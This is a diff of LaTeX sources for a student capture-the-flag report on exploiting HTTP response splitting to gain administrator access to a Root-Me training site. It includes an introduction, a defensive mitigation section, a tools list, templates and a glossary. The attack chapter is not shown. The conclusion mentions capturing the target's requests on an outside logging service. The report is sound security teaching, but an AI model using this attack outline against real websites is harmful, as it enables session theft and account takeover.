\label{subsec:conclusion_choices}
The choice to use the \textit{http://req} platform to record the request of the target was a good choice, but if would have been better to use a server that we control.
\addcontentsline{toc}{subsection}{Personal feedback}
\subsection*{Personal feedback}
\label{subsec:conclusion_feedback}
I genuinely enjoyed to complete this challenge. The Web is one of my favorite field in my domain and I wanted to deepen some subjects I do not know yet. I did not had a lot of difficulties to resolve, and I found appropriate help through resources across the Web, without taking shortcuts.

View File

@@ -0,0 +1,28 @@
\phantomsection
\addcontentsline{toc}{section}{Introduction}
\section*{Introduction}
\label{sec:introduction}
This document is the result of the \gls{http} Response Splitting challenge \citep{website:challenge} resolution, proposed by the \textit{Root-Me} online platform\footnote{\url{https://www.root-me.org/}}.
It contains all content that concerns the resolution of the challenge, including the reflections we had, the problems we encountered and the attack definition with its exploitation.
We will start with the discovery of the initial conditions of the challenge, then we will do a technology check in order to find initial leads. After that, we will take a decision for the attack direction, and finally execute it. We will close this report by some mitigation techniques that could be useful to avoid such attacks for a sysadmin.
Having organized a \gls{ctf} this year at the High-school of Engineering of Fribourg, I did not try a smaller challenge before the real one.
\phantomsection
\addcontentsline{toc}{subsection}{Context}
\subsection*{Context}
\label{subsec:Context}
This report is the result of a practical work requested for the \textit{Ethical Hacking} course. It is given at the HES-SO MSE curriculum. The purpose or a \gls{ctf} challenge is to exploit or defend a vulnerability in a machine. A \textit{flag}, which is often a chain of characters, must be found in order to achieve the challenge.
Such exercise is useful for the Ethical Hacking course because it allows students to apply the theoretical topics studied.
\phantomsection
\addcontentsline{toc}{subsection}{Goal of the challenge}
\subsection*{Goal of the challenge}
\label{subsec:goal}
There is just one goal for this challenge: we have to obtain an administrator access to the exposed website. This would prove to the developers that their website is not as secure as they think!

View File

@@ -0,0 +1,43 @@
\section{Mitigation}
\label{sec:mitigation}
There are a few things that can be changed in order to avoid a \textit{\gls{http} Response Splitting} attack.
\subsection{User entries}
\label{subsec:mitigation_entries}
One of the most used vulnerabilities is the data that can be given by users of a system. It is very important to consider them as not secure at all when they are received by the system.
In our case, it is a malicious input that is interpreted. It is not a misconfiguration of the \gls{http} protocol neither a problem with the host system. The sysadmin just has to sanitize inputs situated in the \gls{url}s, and this can be done in the \gls{cgi} environment.
Inputs should be validated, sanitized and escaped to be sure that they would not be harmful.
A validation\footnote{\url{https://bit.ly/35psyfb}} aims to confirm the good syntax of the input, as well as its semantic value. There is a lot of tools, such as library or \gls{framework}s that are available for such goal.
A sanitized input ensure that the data is conform to the configuration of a system. Unwanted and dangerous characters must be eliminated, replace or encoded to avoid malicious actions. In our case, the \gls{crlf} characters should have been sanitized. This is close to the escaping concept, that aims to annihilate special characters that could be interpreted by a system.
A white-listing of the \gls{url}s can be done. This is more efficient than a black-listing, because it is less prone to words oversights. This way, if an input does not correspond to our database of authorized words, the request could be blocked.
Those manipulations must not be done on the client-side! They are too easy to bypass. Such mechanisms must be defined on the server-side.
\subsection{Limit cache hits}
\label{subsec:mitigation_cache}
One problem of the Web server was that the cache accepted our forged response easily. The reverse proxy that acts as the caching system should host various rules to limit the acceptation of caching when too generalized. \textit{Cloudflare} explained\footnote{\url{https://bit.ly/3eTyeBx}} how to avoid such attacks.
\newpage
\subsection{Securise \gls{cookie}s}
\label{subsec:mitigation_cookies}
The \gls{cookie}s were readable by a \gls{javascript} code, and not exchanged in a secured transmission such as \gls{tls}. This is caused by the bad configuration of the Web server, that does not define the \gls{http} \textit{Secure} and \textit{httpOnly} headers.
\subsection{Limit system banners}
\label{subsec:mitigation_banners}
A system should not expose its information across the Internet. When doing the \textit{Nessus} scan, we found the version of \textit{Linux} kernels and the softwares used by Web servers. Although those data did not help us during this challenge, this is not a good practice.
\subsection{Do technology watch}
\label{subsec:mitigation_watch}
Finally, for every information system, sysadmins should proceed to technology watch through vulnerabilities databases, such as the \textit{CVE}\footnote{\url{https://cve.mitre.org/cve/}} database or the \textit{CWE}\footnote{\url{https://cwe.mitre.org/}} one. The \textit{OWASP Top 10}\footnote{\url{https://owasp.org/www-project-top-ten/}} also brings a lot of tips to prevent most used attacks nowadays.

View File

@@ -0,0 +1,130 @@
\section{Used Softwares and Tools}
\label{sec:softwares}
\subsection*{Operating Systems}
\textbf{Fedora Workstation 33}
\begin{itemize}[label={}]
\item Host system
\item Kernel version 5.8.18-300.fc33.x86\_64
\item Various licences
\end{itemize}
\textbf{Kali Linux 2020.3}
\begin{itemize}[label={}]
\item Guest system
\item Kernel version 5.8.0-kali3-amd64 x86\_64
\item GPLv3
\end{itemize}
\subsection*{Office tools}
\textbf{\LaTeX \ Suite}
\begin{itemize}[label={}]
\item Used to generate the document for this project.
\item Version \LaTeX2e
\item \LaTeX \ Project Public License
\end{itemize}
\textbf{Overleaf}
\begin{itemize}[label={}]
\item Used to write the document for this project.
\item Unknown version
\item proprietary, Webapp
\end{itemize}
\textbf{Draw.io}
\begin{itemize}[label={}]
\item Used to draw the different graphs and interfaces.
\item Version 13.9.7
\item APACHE License, version 2.0
\end{itemize}
\textbf{GIMP}
\begin{itemize}[label={}]
\item Used for editing media content.
\item Version 2.10.20
\item Licence GPLv3+
\end{itemize}
\subsection*{Development tools}
\textbf{ungoogled-chromium}
\begin{itemize}[label={}]
\item Used for browsing and testing attack
\item Version Version 85.0.4183.102 (RPM Fusion Build) (64-bit)
\item Licences : 3-clause BSD, MIT, LGPL, MS-PL, MPL+GPL+LGPL
\end{itemize}
\textbf{Atom}
\begin{itemize}[label={}]
\item Used for the development of the \textit{Node} application.
\item Version 1.45
\item MIT License
\end{itemize}
\textbf{Node}
\begin{itemize}[label={}]
\item Used to execute the \textit{Node} application.
\item Version v14.14.0
\item MIT license
\end{itemize}
\textbf{\gls{npm}}
\begin{itemize}[label={}]
\item Used to manage the modules and libraries of \textit{Node}.
\item Version 6.14.5
\item Artistic License 2.0
\end{itemize}
\textbf{OWASP ZAP}
\begin{itemize}[label={}]
\item Used to intercept communications
\item Version 2.9.0
\item Apache Licence
\end{itemize}
\textbf{nmap}
\begin{itemize}[label={}]
\item Used to get information about targets.
\item Version 7.80
\item Modified GPLv2
\end{itemize}
\textbf{Nessus}
\begin{itemize}[label={}]
\item Used to get information about targets.
\item Version 8.12.0
\item Proprietary and GPL
\end{itemize}
\textbf{http://req}
\begin{itemize}[label={}]
\item Used to retrieve requests details, Version unknown, Unknown licence
\end{itemize}

14
report/commands/info.tex Normal file
View File

@@ -0,0 +1,14 @@
%-----------------
% My infos
%----------------
\newcommand{\courseName}{}
\newcommand{\filiere}{Master of Science HES-SO in Engineering}
\newcommand{\projectname}{Challenge: HTTP Response Splitting}
\newcommand{\schoolyear}{2020 - 2021}
\newcommand{\subprojectname}{}
\newcommand{\titleName}{Ethical Hacking}
\newcommand{\titleNameShort}{EHK}
\newcommand{\professorNameA}{Sylvain \textsc{Pasini}}
\newcommand{\professorNameB}{Jean-Marc \textsc{Bost}}
\newcommand{\studentName}{Loïc \textsc{Guibert}}
\newcommand{\documenttype}{Report}

View File

@@ -0,0 +1,3 @@
\newcommand{\renamelstlistings}{Code snippet}
\renewcommand{\lstlistlistingname}{\renamelstlistings s}
\renewcommand{\lstlistingname}{\renamelstlistings}

View File

@@ -0,0 +1,11 @@
\newcommand{\itembullet}{\begin{itemize}[label={}]}
\newcommand{\newimage}[4]{
\begin{figure}[!h]
\begin{center}
\includegraphics[width=#1\textwidth]{#2}
\caption{#3}
\label{fig:#4}
\end{center}
\end{figure}
}

View File

@@ -0,0 +1,111 @@
%%FROM
% WikiBooks (LaTeX - Title Creation) with modifications by:
% Vel (vel@latextemplates.com)
% Sven Rouvinez
% Tobias Moullet
% Loïc Guibert
% Defines a new command for horizontal lines, change thickness here
\newcommand{\HRule}{\rule{\linewidth}{0.5mm}}
% Suppresses displaying the page number on the title page and the subsequent page counts as page 1
\begin{titlepage}
% Center everything on the page
\begin{center}
%------------------------------------------------
% Headings
%------------------------------------------------
\begin{figure}[!htb]
\begin{minipage}{0.5\textwidth}
\includegraphics[width=0.85\textwidth]{./coverpage/hes.png}
\end{minipage}
\hfill
\begin{minipage}{0.5\textwidth}
\raggedleft
\includegraphics[width=0.85\textwidth]{./coverpage/mse.png}
\end{minipage}
\end{figure}
% Main heading such as the name of your university/college
\vspace{1.7cm}
\huge \filiere \\[0.4cm]
\large \schoolyear\\[0.4cm]
\vspace{1.3cm}
%------------------------------------------------
% Title
%------------------------------------------------
\HRule\\[0.4cm]
{\huge\bfseries \titleName} \\
\vspace{0.4cm}
\Large \projectname \\
\vspace{0.4cm}
\large \textbf{\documenttype} \\
\HRule \\[1.5cm]
\vspace{1.7cm}
%------------------------------------------------
% Author(s)
%------------------------------------------------
\begin{minipage}{1\textwidth}
\begin{tabular*}{\textwidth}{@{\extracolsep{\fill}} l r }
\textit{\textbf{Author}} \medskip & \textit{\textbf{Supervisors}} \\
\studentName & \professorNameA \\
& \professorNameB \\
\end{tabular*}
\vspace{0.5cm}
\end{minipage}
% If you don't want a supervisor, uncomment the two lines below and comment the code above
%{\large\textit{Author}}\\
%John \textsc{Smith} % Your name
%------------------------------------------------
% Date
%------------------------------------------------
\vfill\vfill\vfill % Position the date 3/4 down the remaining page
{\large \subprojectname}
\vspace{1cm}
\end{center}
%\today Date, change the \today to a set date if you want to be precise
% And HES-SO logo
\begin{minipage}{1\textwidth}
\begin{center}
\textit{\textbf{\large{Fribourg, {\today}}}}
\end{center}
\end{minipage}
%----------------------------------------------------------------------------------------
% Push the date up 1/4 of the remaining page
\vfill
\end{titlepage}

BIN
report/coverpage/hes.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 121 KiB

BIN
report/coverpage/mse.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 172 KiB

View File

@@ -0,0 +1 @@
<mxfile host="app.diagrams.net" modified="2020-11-13T08:16:51.634Z" agent="5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36" etag="Pn5pc3l3SBRpZOThMIAu" version="13.9.7" type="device"><diagram id="2_MqGOUtRNK9b3YSBMJL" name="Page-1">7Zrdk6I4EMD/Gh/HgvDp4zjr7D7cXs2dVbOPWxGishMIG8Kq99dfAokSgqNjoc7X1tQWNqED/evudAcGzl26/kphvvxOYoQHwIrXA+fLAADbBWAg/qx4U0uC0K4FC5rEctBOME3+Q1JoSWmZxKjQBjJCMEtyXRiRLEMR02SQUrLSh80J1mfN4QIZgmkEsSn9kcRsWUtDEOzk31CyWKqZbX9Un0mhGiyfpFjCmKwaImcycO4oIaw+Std3CAvjKbvU193vObu9MYoydswFk83jBE7m5erHzKP25B/8/fHnjVtr+QNxKR9Y3izbKAtQUmYxEkrsgTNeLROGpjmMxNkVZ85lS5ZieZoSBllCMv7zZmRxwTzB+I5gQitlznw+B1HE5QWj5Ak1zsT+zPd8fkbeEaIMrfc+qr01IPc8RFLE6IYP2bqdP7QkIel3nMzQ9WrRagfS9e1hGNbipcbRkT4k/WexnWRnYn4grfwCi9uGxW8Zg9ETooblhQ0S7op/wRnCD6RIpGVnhDGSclPBIq99fp6sBaEmCXXxLU4W4iJGcsPsGcmQUCOHRNy8/DacMSkZTjI+TMWUIMn9Nxc3lq4XItSHUcJosh5imHPVP8WUc5Kxqbx9uw+MjqUx9CyD38g22QXBmdCBw8GyD1maxDFGL0S2vehZahjN2QuZxSQq0wrCGLdulNZ27CMKvTY+MOwIwKADIDgTQP8wQJTFt2LZEOGAYVEkkc6ow8dRbCwhB03UsIDy6qYFlIwizNPpH119l1nkDA8k4RNvCQAXaARCS9dQkJJGSF7UXDpaejz7eT0M0gVihp6K0fahT8cWfDBsnq0Hjm2dyA24BxSdGVxogAND/vsryhCFDAmEiBducWWyIidZgd5oRs0piVBRnDmhgkBlUAU0tDpyqgdM1/TPlVNHHy04vVZMOacm1bai4LLBqZLMZyX68koUjK5citqhwWjXpwkbEcqWZEEyzowIe1ckfiHGNrLHhiUjOqfTI6/n9c5xTwwpt63owoWKKpM+O4RjOwTQWtC6AuuiLYLq+z/MetbuERzQU5NgKDpz8G332RqguNUVCBkTbzdLtot5I0vusa+hyGkrOrIt7C1LHtGGv4mCo5Eke0iGjue0kqGjivarJcNrdd7Aqp35oBddrQsArYLw1JLFUyZVzNvtxLmzZtd652Ph0zN+sBAHdzBaIiXls2xPGM7AvZ/p+DujrvlSYF8g7i11ut5A6Fn9LMFodxQmHf7VXvT623w2X9XYYjPlX/S7RIXwKP5EfPJx9ZwbTGD8jvG0wq9za9kGF+XjGXwcwedvQlOIB8/scL0jKuEwaEeN20Fm5CvhZdCYBYenh465rL0jKIe3Lmz7opFibgv7NY44oaLoEq/4+X9RvexY3EqvFE/jbXdPtFxvT21+PVpdG7x1KVDkMNOw+L9L8TXDWNC5kYa+5SOqDYjtWVU9PJZYvAeYYTSQ32HsSoxa9auuMqp9kTGMnhaVvPEpw3g0sW49Wfs25PfVv34cxbd8zVGCsOvl6iUdRRWu/TvKQ+UbdVKYbXLeZHx6yks8pZVSVP/ddBT3ko4CzuUo94T3SrFWa336yfEtT6j5idvxuc1l/cRsTV1RJ0wZoUiDrNULrxJtD3w8y9YLOb+jNHBHlwRktqSBAFTtF4gwjLi3UoJxKyatFOZ5Jau4seWuAHiV8Pov8wA4osyzOlbv9u7QESz5z91HpvW20e5TXWfyPw==</diagram></mxfile>

Binary file not shown.

After

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

View File

@@ -0,0 +1 @@
<mxfile host="app.diagrams.net" modified="2020-11-12T11:10:55.393Z" agent="5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Brave Chrome/83.0.4103.116 Safari/537.36" etag="gQhZ6ShJ_Bxxl7b4_Sq6" version="13.9.7" type="device"><diagram id="Rdc4U-dkvMjtRM2SHRVq" name="Page-1">7Vddj9owEPw1eTyUOEDg8UqPVuq1uoqq93gyyZK4dbKRs/mgv742cYAox4lK0NOpRTwk412vd8Y7AsdfpM0HxfPkM0YgHeZGjeO/dxjzxow55utG2xYJZl4LxEpENugArMQvsKBr0VJEUPQCCVGSyPtgiFkGIfUwrhTW/bANyn7VnMcwAFYhl0P0UUSUtOiMBQf8I4g46Sp703m7kvIu2HZSJDzC+gjy7xx/oRCpfUqbBUhDXsdLm7c8sbo/mIKMzknY+N/U+oHq+ub7J6y8r18esbqZ2LPRtmtYYZlFYHJcx3+HihKMMePyHjHXoKfBH0C0tVLxklBDCaXSrhbEFd0a6jUQSl4UIuzgpZBdWFsYogH9h34sVGCpQnihie5ecBUDvRDn71nX1xUwBVJbnadAchJV/xzc3pt4H3egVj9Ydv+A6em/xPT4NZm2+1ZclrbSElXNVWSaVthsB0pUoEjomb/na5APWAgSmOmlNRJhqinkRd6ay0Y0RrFjFbrkWylik0RGPS2Cwp+wQIlKYxlmYLaxIaEmHpQRvSQpMh3WmZe5CdoocnOwtImNp45CQUo0o5CHCTwVoKpdqm1SF4fmZV2HOtgEP5i1Kdabvbm1qvrgdIHdNTkyuXkwmlxJu2Cgjbm3K/tqabzA4ByL4zDf3X1eZaTYmSN1Qsq/M1JsMFILKUyrb3KSKBHZU9g2cJFBYq7bGyTmjs8apOBaevkDvVatbzDXe5uaRZz4mheXNcDJtK+b5w0NcOY+Y4DulXQbn9aN/dftpG77Qbq8bvr18BN9t3b0R8e/+w0=</diagram></mxfile>

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

View File

@@ -0,0 +1 @@
<mxfile host="app.diagrams.net" modified="2020-11-12T11:15:41.587Z" agent="5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Brave Chrome/83.0.4103.116 Safari/537.36" etag="C2ioA3xcuwhuQE--N0Tv" version="13.9.7" type="device"><diagram id="Rdc4U-dkvMjtRM2SHRVq" name="Page-1">7Vhdb9owFP01kbaHosTm87Fj7Tat67q2Wh8rk1wSr04uci4Q9utnNw6QZSAqQRHbEA/k+N7Y9xyf6wSPD9PigxaT5AtGoDzmR4XH33uMBW3GPPv1o0WJ9LgDYi0jF7QC7uRPcKDv0KmMIK8FEqIiOamDIWYZhFTDhNY4r4eNUdVnnYgYGsBdKFQTfZARJSXaZ70V/hFknFQzB91BOZKKKthVkiciwvkaxC88PtSIVP5KiyEoS17FS5l3uWF0uTANGe2SMOb3enRD8/nZ9884C75dP+DsrOPWRouqYI3TLAKb43v8HWpKMMZMqCvEiQEDA/4AooWTSkwJDZRQqtxoTkLTuaXeAKESeS7DCr6UqgorJ4aoQf+qHgflONUhbCmi2hdCx0Bb4viSdbNdAVMgvTB5GpQgOauvQ7h9Ey/jVtSaH47dFzDd/ZeYbh+TaXffmVBTN9MtzEDnYIvWWCwaSphRksbzV2IE6gZzSRIzMzRCIkwNhSKflM1lLAur2LoKVfK5krFNIqueEUHjEwxRoTZYhhnY27iQ0BAP2oo+JSUzE1Y1L7sTTKOY2IWlRWx7aiuUpGXRCkWYwGMOevac6oo0k0OxXdemDi6B9/pliuvNwcC1qvmq0/XcXZO1JjfotTqH0s5viGM37p27dDy+lnPqInqM+8+f/XqK7eipwTE9xRqeGippSz1JK1Eis8ewLGAvTur6NSMxn+9kpN6h5OINub5qGcvMalU2EOYHp6ldJEiMRL7fTtj5TcAgaHbCvv+HTugfSMD2DgKy/wJuFHBprWMJGDTt9bcfZIMdD7INSr7OQTZoGOs+sQ+Gn+xOzsy6mf8Grbuugeaon/K3p+myWOEI9uOt5Rvs8nRjzdOtXz0S1s63lz8mmsvVK/Hz2NofC/ziFw==</diagram></mxfile>

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

31
report/main.ist Normal file
View File

@@ -0,0 +1,31 @@
% makeindex style file created by the glossaries package
% for document 'main' on 2020-6-1
actual '?'
encap '|'
level '!'
quote '"'
keyword "\\glossaryentry"
preamble "\\glossarysection[\\glossarytoctitle]{\\glossarytitle}\\glossarypreamble\n\\begin{theglossary}\\glossaryheader\n"
postamble "\%\n\\end{theglossary}\\glossarypostamble\n"
group_skip "\\glsgroupskip\n"
item_0 "\%\n"
item_1 "\%\n"
item_2 "\%\n"
item_01 "\%\n"
item_x1 "\\relax \\glsresetentrylist\n"
item_12 "\%\n"
item_x2 "\\relax \\glsresetentrylist\n"
delim_0 "\{\\glossaryentrynumbers\{\\relax "
delim_1 "\{\\glossaryentrynumbers\{\\relax "
delim_2 "\{\\glossaryentrynumbers\{\\relax "
delim_t "\}\}"
delim_n "\\delimN "
delim_r "\\delimR "
headings_flag 1
heading_prefix "\\glsgroupheading\{"
heading_suffix "\}\\relax \\glsresetentrylist "
symhead_positive "glssymbols"
numhead_positive "glsnumbers"
page_compositor "."
suffix_2p ""
suffix_3p ""

BIN
report/main.pdf Normal file

Binary file not shown.

151
report/main.tex Normal file
View File

@@ -0,0 +1,151 @@
% !TeX root = ./main.tex
\documentclass[12pt,a4paper]{article}
\usepackage[utf8]{inputenc}
\usepackage[T1]{fontenc}
\usepackage[english]{babel}
\usepackage{fancyhdr}
\usepackage{color}
\usepackage{graphicx}
\usepackage[citestyle=abstract,backend=biber,citestyle=ieee,natbib=true]{biblatex}
\usepackage{hyperref}
\usepackage[toc,acronym]{glossaries}
\usepackage[top=3cm,bottom=3cm,right=3cm,left=3cm]{geometry}
\usepackage{csquotes}
\usepackage{tabularx}
\usepackage{titlesec}
\usepackage{enumitem}
\usepackage{booktabs}
\usepackage{multirow}
% For commands
\usepackage{minted}
% For PDF inserts
\usepackage{pdfpages}
% Colors and links - https://en.wikibooks.org/wiki/LaTeX/Hyperlinks
\usepackage{xcolor}% http://ctan.org/pkg/xcolor
\usepackage{hyperref}% http://ctan.org/pkg/hyperref
\hypersetup{
colorlinks=true,
linkcolor=blue!50!blue,
urlcolor=blue!70!blue,
citecolor=blue!70!blue,
pdfborder = {0 0 0}
% colorlinks=false,% hyperlinks will be black
% linkbordercolor=blue,% hyperlink borders will be red
% pdfborderstyle={/S/U/W 1}% border style will be underline of width 1pt
}
% Change figure numerotation
\counterwithin{figure}{section}
% Change table numerotation
\counterwithin{table}{section}
%%References
\bibliography{./references/bibliography.bib}
\loadglsentries{./references/glossary.tex}
\makeglossaries
% Lstlisting directives for code
\input{./references/lstlistings}
% Commands
\input{./commands/info.tex}
\input{./commands/renamings.tex}
\input{./commands/shortcuts.tex}
% Images path
\graphicspath{{./images/}}
% Spacing
\usepackage{parskip}
\setlength{\parskip}{\parskip}%
\setlength{\headheight}{15pt}
% No table float
\usepackage{float}
\restylefloat{table}
% table column
\newcolumntype{M}[1]{>{\raggedright}m{#1}}
% page style
\pagestyle{fancy}
\fancyhf{}
%Header and footer
\rhead{\studentName}
\lhead{\titleNameShort \ | \documenttype}
\cfoot{\thepage}
\begin{document}
\pagenumbering{gobble}
%Title page
\begin{titlepage}
\include{./coverpage/coverpage}
\end{titlepage}
\pagenumbering{roman}
\setcounter{tocdepth}{2}
\tableofcontents
\newpage
\pagenumbering{arabic}
% Content
\input{./chapters/introduction.tex}
\newpage
\input{./chapters/challenge.tex}
\newpage
\input{./chapters/mitigation.tex}
\newpage
\input{./chapters/conclusion.tex}
\newpage
\begin{appendix}
\renewcommand{\thesubsection}{\thesection.\Alph{subsection}}
\input{./appendices/appendices}
\newpage
\input{./chapters/softwares}
\newpage
\printglossary
\newpage
\printglossary[type=\acronymtype, title={Acronyms}]
\newpage
\nocite{*}
\phantomsection
\addcontentsline{toc}{section}{List of figures}
\listoffigures
%\newpage
%\phantomsection
%\addcontentsline{toc}{section}{List of tables}
%\listoftables
\newpage
\phantomsection
\addcontentsline{toc}{section}{\renamelstlistings}
\lstlistoflistings
\newpage
\phantomsection
\addcontentsline{toc}{section}{References}
\printbibliography
\label{bib}
\end{appendix}
\end{document}

View File

@@ -0,0 +1,9 @@
% Encoding: UTF-8
@misc{website:challenge,
organization = "Root-Me",
title = "Challenge/Web - Client : HTTP Response Splitting [Root Me : Plateforme d'apprentissage dédiée au Hacking et à la Sécurité de l'Information]",
month = "11",
year = "2020",
url = "https://www.root-me.org/fr/Challenges/Web-Client/HTTP-Response-Splitting?lang=fr"
}

View File

@@ -0,0 +1,98 @@
\newglossaryentry{framework}{
name={framework},
description={A framework is a set of software components used to bring new possibilities for the development of an IT tool, especially by providing elements related to its infrastructure}
}
\newglossaryentry{token}{
name={token},
description={A token is a string of characters issued to users by an entity, allowing it to identify the authors of queries within their information system. In general, a token is unique and can be revoked. It is a kind of label, rarely in human-readable form}
}
\newglossaryentry{rest}{
name={REST},
description={A set of guidelines for the architecture of an \acrshort{api}, to ensure interoperability between information systems on the Internet}
}
\newglossaryentry{package_manager}{
name={package manager},
description={A package manager is one or several softwares which permit to automate management actions on computer programs. It can install, upgrade, configure and remove them with a understanding of dependencies and compatibility between each others}
}
\newglossaryentry{javascript}{
name={JavaScript},
description={JavaScript is a script programming language. Initially used exclusively by browsers for the Web, it is now used by any type of software applications. It is high-level, compiled in-time and object-oriented}
}
\newglossaryentry{ip_address}{
name={IP address},
description={A label assigned to a device connected to a network using the Internet Protocol for its remote communication. Represented either by numerical values in its version 4, either by hexadecimal values in its version 6. The latter is coded with 128 bits, versus 32 bits for the 4th version}
}
\newglossaryentry{cookie}{
name={cookie},
description={A cookie is a pair, composed of a key and a value, that is stored on a client's Web browser. It is link to one or many websites. They are used as way to provide stateful information to the website between visits, such as a session identifier}
}
\newacronym{api}{API}{Application Programming Interface}
\newacronym{aal}{AAL}{Ambient Assisted Living}
\newacronym{iot}{IoT}{Internet of Things}
\newacronym{lan}{LAN}{Local Area Network}
\newacronym{pan}{PAN}{Personal Area Network}
\newacronym{iaas}{IaaS}{Infrastructure as a Service}
\newacronym{tcp}{TCP}{Transmission Control Protocol}
\newacronym{http}{HTTP}{Hypertext Transfer Protocol}
\newacronym{tls}{TLS}{Transport Layer Security}
\newacronym{ssh}{SSH}{Secure Shell}
\newacronym{json}{JSON}{JavaScript Object Notation}
\newacronym{cli}{CLI}{Command-Line Interface}
\newacronym{cors}{CORS}{Cross-Origin Resource Sharing}
\newacronym{sql}{SQL}{Structured Query Language}
\newacronym{ui}{UI}{User Interface}
\newacronym{css}{CSS}{Cascading Style Sheets}
\newacronym{ide}{IDE}{Integrated Development Environment}
\newacronym{os}{OS}{Operating System}
\newacronym{ux}{UX}{User eXperience}
\newacronym{gafam}{GAFAM}{Google, Apple, Facebook, Amazon, Microsoft}
\newacronym{osi}{OSI}{Open Systems Interconnection}
\newacronym{smtp}{SMTP}{Simple Mail Transfer Protocol}
\newacronym{cgi}{CGI}{Common Gateway Interface}
\newacronym{ctf}{CTF}{Capture The Flag}
\newacronym{csp}{CSP}{Content Security Policy}
\newacronym{crlf}{CRLF}{Carriage Return, Line Feed}
\newacronym{html}{HTML}{HyperText Markup Language}
\newacronym{rfc}{RFC}{Request For Comments}
\newacronym{url}{URL}{Uniform Resource Locator}
\newacronym{npm}{NPM}{Node Package Manager (not official)}

View File

@@ -0,0 +1,60 @@
%Listings
\usepackage{listings}
\definecolor{lightgray}{rgb}{.9,.9,.9}
\definecolor{darkgray}{rgb}{.4,.4,.4}
\definecolor{purple}{rgb}{0.65, 0.12, 0.82}
\lstdefinelanguage{JavaScript}{
keywords={typeof, new, true, false, catch, function, return, null, catch, switch, var, if, in, while, do, else, case, break},
keywordstyle=\color{blue}\bfseries,
ndkeywords={class, export, boolean, throw, implements, import, this},
ndkeywordstyle=\color{darkgray}\bfseries,
identifierstyle=\color{black},
sensitive=false,
comment=[l]{//},
morecomment=[s]{/*}{*/},
commentstyle=\color{purple}\ttfamily,
stringstyle=\color{red}\ttfamily,
morestring=[b]',
morestring=[b]"
}
\lstset{
basicstyle=\ttfamily,
language=JavaScript,
belowcaptionskip=1\baselineskip,
basicstyle=\footnotesize\ttfamily,
stringstyle=\color{orange},
numbers=left,
numberstyle=\tiny,
xleftmargin=\parindent,
commentstyle=\color{blue},
keywordstyle=\color{green},
inputencoding=utf8,
extendedchars=true,
breaklines=true,
columns=fullflexible,
showstringspaces=false,
postbreak=\mbox{\textcolor{red}{$\hookrightarrow$}\space},
literate=%
{é}{{\'{e}}}1
{è}{{\`{e}}}1
{ê}{{\^{e}}}1
{ë}{{{e}}}1
{û}{{\^{u}}}1
{ù}{{\`{u}}}1
{â}{{\^{a}}}1
{à}{{\`{a}}}1
{î}{{\^{i}}}1
{ô}{{\^{o}}}1
{ç}{{\c{c}}}1
{Ç}{{\c{C}}}1
{É}{{\'{E}}}1
{Ê}{{\^{E}}}1
{À}{{\`{A}}}1
{Â}{{\^{A}}}1
{Î}{{\^{I}}}1
}